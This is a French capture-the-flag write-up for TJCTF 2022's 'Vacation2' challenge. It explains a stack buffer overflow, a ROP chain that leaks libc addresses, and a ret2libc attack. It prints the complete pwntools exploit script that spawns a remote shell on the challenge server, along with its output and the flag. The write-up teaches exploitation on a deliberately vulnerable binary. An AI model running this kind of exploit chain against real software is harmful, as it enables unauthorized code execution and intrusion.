Vacation2 | Tjctf 2022 | Catégorie Pwn
Vacation2 | Tjctf 2022
Fichier(s)
Nécessaires
- Netcat
- Python3 (+ pwntool)
Flag
tjctf{w3_g0_wher3_w3_w4nt_t0!_66f7020620e343ff}Solution détaillée
Le but du challenge est d’exploiter un buffer overflow pour ainsi construire une ropchain et ainsi pouvoir prendre le contrôle du binaire grâce à une attaque ret2libc.
Un peu d’explication :
Voici la source du challenge :
#include <stdio.h>
#include <stdlib.h>
void vacation() {
char buf[16];
puts("Where am I going today?");
fgets(buf, 64, stdin);
}
void main() {
setbuf(stdout, NULL);
vacation();
puts("hmm... that doesn't sound very interesting...");
}On voit ici que le programme crée un buffer de taille 16 avant de nous demander une entrée. Puis il renvoie : hmm... that doesn't sound very interesting..
Que se passe-t-il si on envoie beaucoup plus de caractères ?

On a une erreur : segmentation fault
Regardons de plus près avec gdb, voyons ce qui se passe si on envoie 24 caractères (16+8 car 64 bits)

On envoie donc : aaaaaaaaaaaaaaaaaaaaaaaaBBBBBBBB
On retrouve l’erreur segfault et on remarque que le registre RSP a été réécrit avec les 8 derniers B. On peut donc rediriger le pointer du binaire vers les adresses qu’on veut.
Nous devons donc trouver l’adresse de /bin/sh dans la libc distante pour pouvoir avoir un shell interactif. Mais comment obtenir cette adresse ?
Utilisation d’une Ropchain pour faire leak la bonne libc.
Pour le moment, nous n’avons que la possibilité de rediriger le pointer vers des adresses choisies.
On va donc pouvoir créer un mini programme en assembleur : Une ropchain (“Return-oriented-programming”).
Le principe est simple, on va récupérer les adresses des instructions qui précèdent un ret : un retour, ainsi une fois exécuté, notre mini-programme reviendra au sommet de la pile ; dans notre exploit et exécutera la suivante qui à son tour, s’exécutera avant de continuer.. etc..
Illustration : source: hackndo.com

Nous allons donc grâce à une ropchain, faire leak les adresses des fonctions fgets et puts pour ainsi identifier la libc utilisée et connaître l’adresse de /bin/sh
Grâce à RopGadget
, on récupère rapidement une adresse de pop rdi ; ret et ret
root@DESKTOP-HNQJECB: /root/software/ROPgadget git:(master)
➜ python3 ROPgadget.py --binary /c/vacation/vacation2 | grep 'pop rdi ; ret'
0x0000000000401243 : pop rdi ; ret
root@DESKTOP-HNQJECB: /root/software/ROPgadget git:(master)
➜ python3 ROPgadget.py --binary /c/vacation/vacation2 | grep ': ret'
0x000000000040101a : retOn veut donc faire ce programme :
payload = overflow
payload += ret
payload += pop_rdi
payload += adresse de la fonction à faire leak
payload += adresse de puts pour afficher le leak
payload += adresse de la fonction main pour revenir au début du programmeEn python :
from pwn import *
context.log_level = 'critical'
elf = ELF('./vacation2')
rop = ROP(elf)
def Get_proc():
if(args.REMOTE):
proc = remote('tjc.tf',31705)
else:
proc = process('./vacation2')
proc.recvuntil(b'Where am I going today?\n')
return proc
def Leak_function(name,proc):
payload = 24*b'A' + p64(pop_rdi) + p64(elf.got[name]) + p64(libc_puts_plt)+ p64(ret_main_addr)
proc.sendline(payload)
Leaked = proc.recvline()[::-1].strip().hex()
proc.recvuntil(b'Where am I going today?\n')
return Leaked
## Adress
ret_main_addr = elf.symbols['vacation']
libc_puts_plt = elf.plt['puts']
libc_fgets = elf.symbols['fgets']
libc_setbuf = elf.symbols['setbuf']
pop_rdi = 0x0000000000401243
ret = 0x000000000040101a
print('\n Address:')
print('[+] Ret2start : %s'%hex(ret_main_addr))
print('[+] Puts : %s'%hex(libc_puts_plt))
print('[+] Fgets : %s'%hex(libc_fgets))
print('[+] Setbuf : %s'%hex(libc_setbuf))
print('[+] Pop_rdi : %s'%hex(pop_rdi))
print('[+] Ret : %s\n'%hex(ret))
proc = Get_proc()
Leaked_puts = Leak_function("puts",proc)
Leaked_fgets = Leak_function("fgets",proc)
print(' Leaked with Rop:')
print('[+] Puts : %s'%Leaked_puts)
print('[+] Fgets : %s'%Leaked_fgets)Résultat :
root@DESKTOP-HNQJECB: /c/vacation
➜ python3 vacation2.py
Address:
[+] Ret2start : 0x401176
[+] Puts : 0x401064
[+] Fgets : 0x401084
[+] Setbuf : 0x401074
[+] Pop_rdi : 0x401243
[+] Ret : 0x40101a
Leaked with Rop:
[+] Puts : 7f1d26c31de0
[+] Fgets : 7f1d26c301b0Puis on va se rendre sur libc.rip pour identifier la bonne libc utilisée à distance : On trouve : libc6_2.31-0ubuntu9.7_amd64.so
Fin de l’exploitation grâce à un ret2libc.
Maintenant que nous avons la bonne libc, nous pouvons la charger dans notre programme et nous pouvons resituer l’adresse de celle-ci grâce au leak du premier ropchain :
libc = ELF('libc6_2.31-0ubuntu9.7_amd64.so')
libc.address = int('0x'+Leaked_puts,16) - libc.symbols['puts']On peut vérifier que l’adresse est valide car elle se termine par 000 qui indique que l’adresse est valide !
Nous touchons au but :)
On peut donc aller chercher les adresses de
- “/bin/sh”
- la fonction
system
bin_sh = next(libc.search(b'/bin/sh\x00'))
system = libc.sym["system"]
print('\n Address:')
print('[+] System : %s'%hex(system))
print('[+] bin_sh : %s'%hex(bin_sh))
print('[+] Pop_rdi : %s'%hex(pop_rdi))Enfin, on crée notre payload final pour appeler /bin/sh dans la fonction system et ainsi avoir un shell interactif !
print('[+] Getting Shell ...\n')
rop = 24*b'A' + p64(ret) +p64(pop_rdi) + p64(bin_sh) + p64(system) + p64(ret_main_addr)
proc.sendline(rop)
proc.interactive()Voici le script final :
from pwn import *
context.log_level = 'critical'
elf = ELF('./vacation2')
rop = ROP(elf)
libc = ELF('libc6_2.31-0ubuntu9.7_amd64.so')
if(not args.REMOTE):
libc = ELF('libc6_2.33.so')
def Get_proc():
if(args.REMOTE):
proc = remote('tjc.tf',31705)
else:
proc = process('./vacation2')
proc.recvuntil(b'Where am I going today?\n')
return proc
def Leak_function(name,proc):
payload = 24*b'A' + p64(pop_rdi) + p64(elf.got[name]) + p64(libc_puts_plt)+ p64(ret_main_addr)
proc.sendline(payload)
Leaked = proc.recvline()[::-1].strip().hex()
proc.recvuntil(b'Where am I going today?\n')
return Leaked
## Adress
ret_main_addr = elf.symbols['vacation']
libc_puts_plt = elf.plt['puts']
libc_fgets = elf.symbols['fgets']
libc_setbuf = elf.symbols['setbuf']
pop_rdi = 0x0000000000401243
ret = 0x000000000040101a
print('\n Address:')
print('[+] Ret2start : %s'%hex(ret_main_addr))
print('[+] Puts : %s'%hex(libc_puts_plt))
print('[+] Fgets : %s'%hex(libc_fgets))
print('[+] Setbuf : %s'%hex(libc_setbuf))
print('[+] Pop_rdi : %s'%hex(pop_rdi))
print('[+] Ret : %s\n'%hex(ret))
proc = Get_proc()
Leaked_puts = Leak_function("puts",proc)
Leaked_fgets = Leak_function("fgets",proc)
print(' Leaked with Rop:')
print('[+] Puts : %s'%Leaked_puts)
print('[+] Fgets : %s'%Leaked_fgets)
## Relocate libc
libc.address = int('0x'+Leaked_puts,16) - libc.symbols['puts']
if(str(hex(libc.address))[-3:] != '000'):
print('[-] Invalid Libc: %s'%hex(libc.address))
## New Adress
bin_sh = next(libc.search(b'/bin/sh\x00'))
system = libc.sym["system"]
print('\n Address:')
print('[+] System : %s'%hex(system))
print('[+] bin_sh : %s'%hex(bin_sh))
print('[+] Pop_rdi : %s'%hex(pop_rdi))
print('[+] Getting Shell ...\n')
## Create Rop
rop = 24*b'A' + p64(ret) +p64(pop_rdi) + p64(bin_sh) + p64(system) + p64(ret_main_addr)
proc.sendline(rop)
proc.interactive()
proc.close()et voici le Résultat :
root@DESKTOP-HNQJECB: /c
➜ python3 vacation2.py REMOTE
Address:
[+] Ret2start : 0x401176
[+] Puts : 0x401064
[+] Fgets : 0x401084
[+] Setbuf : 0x401074
[+] Pop_rdi : 0x401243
[+] Ret : 0x40101a
Leaked with Rop:
[+] Puts : 7f328beea450
[+] Fgets : 7f328bee8660
Address:
[+] System : 0x7f328beb82c0
[+] bin_sh : 0x7f328c01a5bd
[+] Pop_rdi : 0x401243
[+] Getting Shell ...
$ id
uid=1000 gid=1000 groups=1000
$ ls
flag.txt
run
$ cat flag.txt
tjctf{w3_g0_wher3_w3_w4nt_t0!_66f7020620e343ff}(source:hacktricks )
Voila ! C’était ma première exploitation Ropchain ainsi que Ret2libc et j’espère que ma solution vous a plu.